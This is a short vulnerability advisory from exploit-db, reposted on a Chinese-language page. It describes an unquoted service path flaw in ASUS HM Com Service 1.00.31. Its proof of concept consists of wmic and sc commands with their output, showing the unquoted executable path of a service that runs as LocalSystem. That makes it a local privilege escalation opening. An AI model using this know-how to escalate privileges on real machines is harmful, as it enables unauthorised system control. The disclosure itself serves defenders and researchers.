ASUS HM Com Service 1.00.31 – ‘asHMComSvc’ Unquoted Service Path

  • 作者: Olimpia Saucedo
    日期: 2019-11-18
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/47664/
  • # Exploit Title: ASUS HM Com Service 1.00.31 - 'asHMComSvc' Unquoted Service Path
    # Date: 2019-11-16
    # Exploit Author : Olimpia Saucedo
    # Vendor Homepage: www.asus.com
    # Version:1.00.31
    # Tested on: Windows 10 Pro x64(but it should works on all windows version)
     
    The application suffers from an unquoted service path issue impacting the service 'ASUS HM Com Service (aaHMSvc.exe)' related to the Asus Motherboard Utilities.
    This could potentially allow an authorized but non-privileged local user to execute arbitrary code with system privileges.
     
    POC:
    
    >wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v """
    
    ASUS HM Com ServiceasHmComSvc
    C:\Program Files (x86)\ASUS\AAHM\1.00.31\aaHMSvc.exe
    Auto
    
    >sc qc "asHMComSvc"
    [SC] QueryServiceConfig SUCCESS
    
    SERVICE_NAME: asHMComSvc
    TYPE : 10WIN32_OWN_PROCESS
    START_TYPE : 2 AUTO_START
    ERROR_CONTROL: 1 NORMAL
    BINARY_PATH_NAME : C:\Program Files (x86)\ASUS\AAHM\1.00.31\aaHMSvc.exe
    LOAD_ORDER_GROUP :
    TAG: 0
    DISPLAY_NAME : ASUS HM Com Service
    DEPENDENCIES : RpcSs
    SERVICE_START_NAME : LocalSystem